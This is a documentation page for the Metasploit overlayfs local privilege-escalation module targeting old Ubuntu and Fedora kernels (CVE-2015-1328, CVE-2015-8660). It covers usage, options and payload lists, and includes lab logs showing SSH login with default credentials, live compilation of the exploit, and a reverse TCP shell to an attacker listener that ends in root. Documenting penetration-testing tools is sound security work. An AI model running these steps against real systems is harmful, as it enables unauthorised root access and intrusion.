Overlayfs Privilege Escalation - Metasploit
This page contains detailed information about how to use the exploit/linux/local/overlayfs_priv_esc metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Overlayfs Privilege Escalation
Module: exploit/linux/local/overlayfs_priv_esc
Source code: modules/exploits/linux/local/overlayfs_priv_esc.rb
Disclosure date: 2015-06-16
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): x86, x64
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2015-1328, CVE-2015-8660, CVE-2015-13281328, CVE-2015-86608660
This module attempts to exploit two different CVEs related to overlayfs. CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55 3.16.0-25 (14.10 default) < 3.16.0-41 3.19.0-18 (15.04 default) < 3.19.0-21 CVE-2015-8660: Ubuntu: 3.19.0-18 < 3.19.0-43 4.2.0-18 < 4.2.0-23 (14.04.1, 15.10) Fedora: < 4.2.8 (vulnerable, un-tested) Red Hat: < 3.10.0-327 (rhel 6, vulnerable, un-tested)
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions command.
msf > use exploit/linux/local/overlayfs_priv_esc
msf exploit(overlayfs_priv_esc) > show targets
... a list of targets ...
msf exploit(overlayfs_priv_esc) > set TARGET target-id
msf exploit(overlayfs_priv_esc) > show options
... show and set options ...
msf exploit(overlayfs_priv_esc) > set SESSION session-id
msf exploit(overlayfs_priv_esc) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Creating A Testing Environment
This module has been tested against:
- CVE-2015-1328
- Ubuntu 14.04
- 3.13.0-24 (binary version of exploit compiled on)
- 3.19.0-20
- 3.19.0-21 (not vuln, exploit failed)
- 3.13.0-55 (not vuln, exploit failed)
- Ubuntu 14.04
- CVE-2015-8660
- Ubuntu 14.04
- 3.19.0-41 (binary version of exploit compiled on)
- Ubuntu 14.04
Untested against
- Fedora (code included to identify vuln versions)
- Redhat (description includes vuln kernel versions)
Verification Steps
- Start msfconsole
- Exploit a box via whatever method
- Do:
use exploit/linux/local/overlayfs_priv_esc - Do:
set session # - Do:
set verbose true - Do:
exploit
Options
COMPILE
If we should attempt to compile on the system. Defaults to Auto, which checks if gcc is installed
WritableDir
A folder we can write files to. Defaults to /tmp
Scenarios
CVE-2015-8660 against Ubuntu 14.04 with kernel 3.19.0-41
Initial Access
resource (/root/Text-1.txt)> use auxiliary/scanner/ssh/ssh_login
resource (/root/Text-1.txt)> set rhosts 192.168.2.156
rhosts => 192.168.2.156
resource (/root/Text-1.txt)> set username ubuntu
username => ubuntu
resource (/root/Text-1.txt)> set password ubuntu
password => ubuntu
resource (/root/Text-1.txt)> exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:39027 -> 192.168.2.156:22) at 2016-10-04 22:48:44 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Escalate
resource (/root/Text-1.txt)> use exploit/linux/local/overlayfs_priv_esc
resource (/root/Text-1.txt)> set verbose true
verbose => true
resource (/root/Text-1.txt)> set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
resource (/root/Text-1.txt)> set session 1
session => 1
resource (/root/Text-1.txt)> set target 1
target => 1
resource (/root/Text-1.txt)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (/root/Text-1.txt)> exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Checking if mount points exist
[+] /tmp/haxhax not created
[+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660
[+] gcc is installed
[*] Live compiling exploit on system
[*] Checking if mount points exist
[+] /tmp/haxhax not created
[+] Kernel 3.19.0.pre.41.pre.generic is vulnerable to CVE-2015-8660
[*] Writing to /tmp/svF1U2Ya.c (2356 bytes)
[*] Max line length is 65537
[*] Writing 2356 bytes in 1 chunks of 8098 bytes (octal-encoded), using printf
[*] Compiling /tmp/svF1U2Ya.c
[*] Writing to /tmp/fHCJO1ex (155 bytes)
[*] Max line length is 65537
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
[*] Exploiting...
[*] Sending stage (36 bytes) to 192.168.2.156
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:44823) at 2016-10-04 22:48:57 -0400
[+] Deleted /tmp/svF1U2Ya.c
[+] Deleted /tmp/fHCJO1ex
3986817421
viRVXKxRruOuDKwEBYAscFvJPPrtQbTO
true
zxrnfClHzgOcewXyEqQeEAcHsQmsEPtk
cqdStYFUGluqJkpgfGAkPvcVgoKTtJlY
EOzlAFTpQsoXMWIicFiKHxsVjjlFpspC
true
FgIyOJMyeREcjxpsbWkNDZNtuUGYmBtt
omnusQCOqEdrUTbMLtDmXibhFAVQuTAz
VPsVgFTxVwskShumsJkambKWMQhifDJi
whoami
root
uname -a
Linux Ubuntu14 3.19.0-41-generic #46~14.04.2-Ubuntu SMP Tue Dec 8 17:46:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
CVE-2015-1328 against Ubuntu 14.04 with kernel 3.13.0-24
Initial Access
resource (/root/Text-1.txt)> use auxiliary/scanner/ssh/ssh_login
resource (/root/Text-1.txt)> set rhosts 192.168.2.156
rhosts => 192.168.2.156
resource (/root/Text-1.txt)> set username ubuntu
username => ubuntu
resource (/root/Text-1.txt)> set password ubuntu
password => ubuntu
resource (/root/Text-1.txt)> exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lpadmin),111(sambashare) Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.2.117:42139 -> 192.168.2.156:22) at 2016-10-04 22:54:50 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Escalate
resource (overlay.rc)> use exploit/linux/local/overlayfs_priv_esc
resource (overlay.rc)> set verbose true
verbose => true
resource (overlay.rc)> set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
resource (overlay.rc)> set target 0
target => 0
resource (overlay.rc)> set session 1
session => 1
resource (overlay.rc)> set lhost 192.168.2.117
lhost => 192.168.2.117
resource (overlay.rc)> exploit
[*] Started reverse TCP handler on 192.168.2.117:4444
[*] Checking if mount points exist
[+] /tmp/ns_sploit not created
[+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328
[+] gcc is installed
[*] Live compiling exploit on system
[*] Checking if mount points exist
[+] /tmp/ns_sploit not created
[+] Kernel 3.13.0.pre.24.pre.generic is vulnerable to CVE-2015-1328
[*] Writing to /tmp/JmK51Dpa.c (3714 bytes)
[*] Max line length is 65537
[*] Writing 3714 bytes in 1 chunks of 13319 bytes (octal-encoded), using printf
[*] Writing to /tmp/ofs-lib.c (439 bytes)
[*] Max line length is 65537
[*] Writing 439 bytes in 1 chunks of 1563 bytes (octal-encoded), using printf
[*] Compiling /tmp/JmK51Dpa.c
[*] Writing to /tmp/R6TrMF7f (155 bytes)
[*] Max line length is 65537
[*] Writing 155 bytes in 1 chunks of 455 bytes (octal-encoded), using printf
[*] Exploiting...
[*] Sending stage (36 bytes) to 192.168.2.156
[*] Command shell session 2 opened (192.168.2.117:4444 -> 192.168.2.156:35876) at 2016-10-14 11:26:49 -0400
[!] Tried to delete /tmp/ofs-lib.c, unknown result
[+] Deleted /tmp/JmK51Dpa
2356964145
psMfOJcKGKnafhAvALIeSFNegauafmux
RHxxKeTrEKLTMmssPTZjlJvkpblZjWSH
KWETRaFhNLLRkUbhRkRoflvdRdbJBPFP
true
ORoIgajQlzSvaciHEGqEvQZqLZMpJDjQ
dTdIcyWRpQOpEHizUhOQkDVqQZaxQIFR
UCINXsLPGwYDBqnRKbFyLFOzkbifFPiF
sh: 0: can't access tty; job control turned off
# # # whoami
root
# uname -a
Linux Ubuntu14 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
Go back to menu.
Msfconsole Usage
Here is how the linux/local/overlayfs_priv_esc exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/overlayfs_priv_esc
[*] Using configured payload linux/x86/shell/reverse_tcp
msf6 exploit(linux/local/overlayfs_priv_esc) > show info
Name: Overlayfs Privilege Escalation
Module: exploit/linux/local/overlayfs_priv_esc
Platform: Linux
Arch: x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2015-06-16
Provided by:
h00die <[email protected]>
rebel
Available targets:
Id Name
-- ----
0 CVE-2015-1328
1 CVE-2015-8660
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
SESSION yes The session to run this module on.
Payload information:
Description:
This module attempts to exploit two different CVEs related to
overlayfs. CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04
default) < 3.13.0-55 3.16.0-25 (14.10 default) < 3.16.0-41 3.19.0-18
(15.04 default) < 3.19.0-21 CVE-2015-8660: Ubuntu: 3.19.0-18 <
3.19.0-43 4.2.0-18 < 4.2.0-23 (14.04.1, 15.10) Fedora: < 4.2.8
(vulnerable, un-tested) Red Hat: < 3.10.0-327 (rhel 6, vulnerable,
un-tested)
References:
https://www.exploit-db.com/exploits/39166
https://www.exploit-db.com/exploits/37292
https://nvd.nist.gov/vuln/detail/CVE-2015-1328
https://nvd.nist.gov/vuln/detail/CVE-2015-8660
Module Options
This is a complete list of options available in the linux/local/overlayfs_priv_esc exploit:
msf6 exploit(linux/local/overlayfs_priv_esc) > show options
Module options (exploit/linux/local/overlayfs_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
COMPILE Auto yes Compile on target (Accepted: Auto, True, False)
SESSION yes The session to run this module on.
Payload options (linux/x86/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 CVE-2015-8660
Advanced Options
Here is a complete list of advanced options supported by the linux/local/overlayfs_priv_esc exploit:
msf6 exploit(linux/local/overlayfs_priv_esc) > show advanced
Module advanced options (exploit/linux/local/overlayfs_priv_esc):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
WritableDir /tmp yes A directory where we can write files (must not be mounted noexec)
Payload advanced options (linux/x86/shell/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
EnableStageEncoding false no Encode the second stage payload
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/overlayfs_priv_esc module can exploit:
msf6 exploit(linux/local/overlayfs_priv_esc) > show targets
Exploit targets:
Id Name
-- ----
0 CVE-2015-1328
1 CVE-2015-8660
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/overlayfs_priv_esc exploit:
msf6 exploit(linux/local/overlayfs_priv_esc) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/linux/x64/exec normal No Linux Execute Command
6 payload/linux/x64/meterpreter/bind_tcp normal No Linux Mettle x64, Bind TCP Stager
7 payload/linux/x64/meterpreter/reverse_tcp normal No Linux Mettle x64, Reverse TCP Stager
8 payload/linux/x64/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
9 payload/linux/x64/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
10 payload/linux/x64/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
11 payload/linux/x64/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager
12 payload/linux/x64/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
13 payload/linux/x64/shell_bind_ipv6_tcp normal No Linux x64 Command Shell, Bind TCP Inline (IPv6)
14 payload/linux/x64/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
15 payload/linux/x64/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
16 payload/linux/x64/shell_reverse_ipv6_tcp normal No Linux x64 Command Shell, Reverse TCP Inline (IPv6)
17 payload/linux/x64/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
18 payload/linux/x86/chmod normal No Linux Chmod
19 payload/linux/x86/exec normal No Linux Execute Command
20 payload/linux/x86/meterpreter/bind_ipv6_tcp normal No Linux Mettle x86, Bind IPv6 TCP Stager (Linux x86)
21 payload/linux/x86/meterpreter/bind_ipv6_tcp_uuid normal No Linux Mettle x86, Bind IPv6 TCP Stager with UUID Support (Linux x86)
22 payload/linux/x86/meterpreter/bind_nonx_tcp normal No Linux Mettle x86, Bind TCP Stager
23 payload/linux/x86/meterpreter/bind_tcp normal No Linux Mettle x86, Bind TCP Stager (Linux x86)
24 payload/linux/x86/meterpreter/bind_tcp_uuid normal No Linux Mettle x86, Bind TCP Stager with UUID Support (Linux x86)
25 payload/linux/x86/meterpreter/reverse_ipv6_tcp normal No Linux Mettle x86, Reverse TCP Stager (IPv6)
26 payload/linux/x86/meterpreter/reverse_nonx_tcp normal No Linux Mettle x86, Reverse TCP Stager
27 payload/linux/x86/meterpreter/reverse_tcp normal No Linux Mettle x86, Reverse TCP Stager
28 payload/linux/x86/meterpreter/reverse_tcp_uuid normal No Linux Mettle x86, Reverse TCP Stager
29 payload/linux/x86/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
30 payload/linux/x86/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
31 payload/linux/x86/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
32 payload/linux/x86/metsvc_bind_tcp normal No Linux Meterpreter Service, Bind TCP
33 payload/linux/x86/metsvc_reverse_tcp normal No Linux Meterpreter Service, Reverse TCP Inline
34 payload/linux/x86/read_file normal No Linux Read File
35 payload/linux/x86/shell/bind_ipv6_tcp normal No Linux Command Shell, Bind IPv6 TCP Stager (Linux x86)
36 payload/linux/x86/shell/bind_ipv6_tcp_uuid normal No Linux Command Shell, Bind IPv6 TCP Stager with UUID Support (Linux x86)
37 payload/linux/x86/shell/bind_nonx_tcp normal No Linux Command Shell, Bind TCP Stager
38 payload/linux/x86/shell/bind_tcp normal No Linux Command Shell, Bind TCP Stager (Linux x86)
39 payload/linux/x86/shell/bind_tcp_uuid normal No Linux Command Shell, Bind TCP Stager with UUID Support (Linux x86)
40 payload/linux/x86/shell/reverse_ipv6_tcp normal No Linux Command Shell, Reverse TCP Stager (IPv6)
41 payload/linux/x86/shell/reverse_nonx_tcp normal No Linux Command Shell, Reverse TCP Stager
42 payload/linux/x86/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
43 payload/linux/x86/shell/reverse_tcp_uuid normal No Linux Command Shell, Reverse TCP Stager
44 payload/linux/x86/shell_bind_ipv6_tcp normal No Linux Command Shell, Bind TCP Inline (IPv6)
45 payload/linux/x86/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
46 payload/linux/x86/shell_bind_tcp_random_port normal No Linux Command Shell, Bind TCP Random Port Inline
47 payload/linux/x86/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
48 payload/linux/x86/shell_reverse_tcp_ipv6 normal No Linux Command Shell, Reverse TCP Inline (IPv6)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/overlayfs_priv_esc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/overlayfs_priv_esc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Error Messages
- /tmp/ns_sploit directory exists. Please delete.
- /tmp/haxhax directory exists. Please delete.
- Kernel <KERNEL> is NOT vulnerable
- Kernel <KERNEL> is NOT vulnerable
- Kernel <KERNEL> is NOT vulnerable
- Kernel <KERNEL> is NOT vulnerable
- Non-vuln kernel <KERNEL>
- Non-vuln kernel <KERNEL>
- Unknown OS: <OS_ID>
- Target not vulnerable! punt!
- gcc is not installed. Compiling will fail.
- Target not vulnerable! punt!
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
/tmp/ns_sploit directory exists. Please delete.
Here is a relevant code snippet related to the "/tmp/ns_sploit directory exists. Please delete." error message:
69: if target.name == 'CVE-2015-1328'
70: if not directory?('/tmp/ns_sploit')
71: vprint_good('/tmp/ns_sploit not created')
72: return true
73: else
74: print_error('/tmp/ns_sploit directory exists. Please delete.')
75: return false
76: end
77: elsif target.name == 'CVE-2015-8660'
78: if not directory?('/tmp/haxhax')
79: vprint_good('/tmp/haxhax not created')
/tmp/haxhax directory exists. Please delete.
Here is a relevant code snippet related to the "/tmp/haxhax directory exists. Please delete." error message:
77: elsif target.name == 'CVE-2015-8660'
78: if not directory?('/tmp/haxhax')
79: vprint_good('/tmp/haxhax not created')
80: return true
81: else
82: print_error('/tmp/haxhax directory exists. Please delete.')
83: return false
84: end
85: end
86: end
87:
Kernel <KERNEL> is NOT vulnerable
Here is a relevant code snippet related to the "Kernel <KERNEL> is NOT vulnerable" error message:
94: when '3.13.0'
95: if kernel.between?(Rex::Version.new('3.13.0-24-generic'),Rex::Version.new('3.13.0-54-generic'))
96: vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
97: return true
98: else
99: print_error("Kernel #{kernel} is NOT vulnerable")
100: return false
101: end
102: when '3.16.0'
103: if kernel.between?(Rex::Version.new('3.16.0-25-generic'),Rex::Version.new('3.16.0-40-generic'))
104: vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
Kernel <KERNEL> is NOT vulnerable
Here is a relevant code snippet related to the "Kernel <KERNEL> is NOT vulnerable" error message:
102: when '3.16.0'
103: if kernel.between?(Rex::Version.new('3.16.0-25-generic'),Rex::Version.new('3.16.0-40-generic'))
104: vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
105: return true
106: else
107: print_error("Kernel #{kernel} is NOT vulnerable")
108: return false
109: end
110: when '3.19.0'
111: if kernel.between?(Rex::Version.new('3.19.0-18-generic'),Rex::Version.new('3.19.0-20-generic'))
112: vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
Kernel <KERNEL> is NOT vulnerable
Here is a relevant code snippet related to the "Kernel <KERNEL> is NOT vulnerable" error message:
113: return true
114: elsif kernel.between?(Rex::Version.new('3.19.0-18-generic'),Rex::Version.new('3.19.0-42-generic'))
115: vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
116: return true
117: else
118: print_error("Kernel #{kernel} is NOT vulnerable")
119: return false
120: end
121: when '4.2.0'
122: if kernel.between?(Rex::Version.new('4.2.0-18-generic'),Rex::Version.new('4.2.0-22-generic'))
123: vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
Kernel <KERNEL> is NOT vulnerable
Here is a relevant code snippet related to the "Kernel <KERNEL> is NOT vulnerable" error message:
121: when '4.2.0'
122: if kernel.between?(Rex::Version.new('4.2.0-18-generic'),Rex::Version.new('4.2.0-22-generic'))
123: vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
124: return true
125: else
126: print_error("Kernel #{kernel} is NOT vulnerable")
127: return false
128: end
129: else
130: print_error("Non-vuln kernel #{kernel}")
131: return false
Non-vuln kernel <KERNEL>
Here is a relevant code snippet related to the "Non-vuln kernel <KERNEL>" error message:
125: else
126: print_error("Kernel #{kernel} is NOT vulnerable")
127: return false
128: end
129: else
130: print_error("Non-vuln kernel #{kernel}")
131: return false
132: end
133: when 'ID=fedora'
134: kernel = Rex::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc
135: # irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '')
Non-vuln kernel <KERNEL>
Here is a relevant code snippet related to the "Non-vuln kernel <KERNEL>" error message:
136: # => "4.0.4-301"
137: if kernel.release < Rex::Version.new('4.2.8')
138: vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660. Exploitation UNTESTED")
139: return true
140: else
141: print_error("Non-vuln kernel #{kernel}")
142: return false
143: end
144: else
145: print_error("Unknown OS: #{os_id}")
146: return false
Unknown OS: <OS_ID>
Here is a relevant code snippet related to the "Unknown OS: <OS_ID>" error message:
140: else
141: print_error("Non-vuln kernel #{kernel}")
142: return false
143: end
144: else
145: print_error("Unknown OS: #{os_id}")
146: return false
147: end
148: end
149:
150: if mounts_exist?() && kernel_vuln?()
Target not vulnerable! punt!
Here is a relevant code snippet related to the "Target not vulnerable! punt!" error message:
155: end
156:
157: def exploit
158:
159: if check != CheckCode::Appears
160: fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
161: end
162:
163: filename = rand_text_alphanumeric(8)
164: executable_path = "#{datastore['WritableDir']}/#{filename}"
165: payloadname = rand_text_alphanumeric(8)
gcc is not installed. Compiling will fail.
Here is a relevant code snippet related to the "gcc is not installed. Compiling will fail." error message:
168: def has_prereqs?()
169: gcc = cmd_exec('which gcc')
170: if gcc.include?('gcc')
171: vprint_good('gcc is installed')
172: else
173: print_error('gcc is not installed. Compiling will fail.')
174: end
175: return gcc.include?('gcc')
176: end
177:
178: compile = false
Target not vulnerable! punt!
Here is a relevant code snippet related to the "Target not vulnerable! punt!" error message:
183: else
184: vprint_status('Dropping pre-compiled exploit on system')
185: end
186: end
187: if check != CheckCode::Appears
188: fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
189: end
190:
191: def upload_and_chmod(fname, fcontent, cleanup=true)
192: print_status "Writing to #{fname} (#{fcontent.size} bytes)"
193: rm_f fname
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Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10783 Merged Pull Request: Make WritableDir an advanced option
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #7402 Merged Pull Request: Linux Priv Esc via overlayfs
References
See Also
Check also the following modules related to this module:
Related Nessus plugins:
- EulerOS Virtualization 3.0.1.0 : kernel (EulerOS-SA-2019-1489)
- EulerOS Virtualization for ARM 64 3.0.1.0 : kernel (EulerOS-SA-2019-1505)
- EulerOS Virtualization for ARM 64 3.0.1.0 : kernel (EulerOS-SA-2019-1519)
- Ubuntu 12.04 LTS : linux vulnerability (USN-2640-1)
- Ubuntu 12.04 LTS : linux-lts-trusty vulnerability (USN-2642-1)
- Ubuntu 14.04 LTS : linux vulnerability (USN-2643-1)
- Ubuntu 14.04 LTS : linux-lts-utopic vulnerability (USN-2644-1)
- Ubuntu 14.04 LTS : linux-lts-vivid vulnerability (USN-2645-1)
- Ubuntu 14.10 : linux vulnerability (USN-2646-1)
- Ubuntu 15.04 : linux vulnerability (USN-2647-1)
Authors
- h00die <[email protected]>
- rebel
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
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